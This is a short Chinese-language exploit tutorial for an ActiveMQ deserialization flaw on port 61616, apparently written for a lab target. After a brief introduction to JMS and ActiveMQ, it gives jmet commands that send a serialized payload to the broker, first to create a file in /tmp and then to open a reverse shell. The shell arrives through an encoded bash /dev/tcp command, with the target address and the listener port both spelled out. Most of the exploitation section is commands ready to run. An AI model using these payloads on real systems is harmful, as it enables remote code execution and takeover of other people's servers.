ActiveMQ

JMS即Java消息服务(Java MessageService)应用程序接口,是一个Java平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间,或分布式系统中发送消息,进行异步通信。绝大多数MOM提供商都对JMS提供支持。 ActiveMQ是Apache出品的开源项目,它是JMS规范的一个实现。 消息中间件是利用高效可靠的消息传递机制在不同应用之间进行通信或者从一个系统传输数据到另外一个系统。并基于数据通信来进行分布式系统的集成。

漏洞利用

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口

  • 构造可执行命令的序列化对象
  • 作为消息发送给靶机的61616端
  • 访问WEB管理页面,读取消息,触发漏洞

直接使用jmet进行漏洞利用(使用时必须在同级目录下创建一个external文件夹,否则会报错)

payload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker" -Yp ROME your-ip 61616

执行后在ActiveMQ添加一个名为event的队列,我们可以通过管理页面http://your-ip/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,点击发送的消息则触发执行touch /tmp/hacker命令,在/tmp目录下创建一个hacker文件

利用漏洞反弹shell

这里不能用bash -i >& /dev/tcp/攻击机IP/8888 0>&1 因为JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码。编码地址

payload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,Ym***************************************************A+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 39.105.9.163 61616

在攻击机上监听8888端口,然后触发漏洞即可成功拿到shell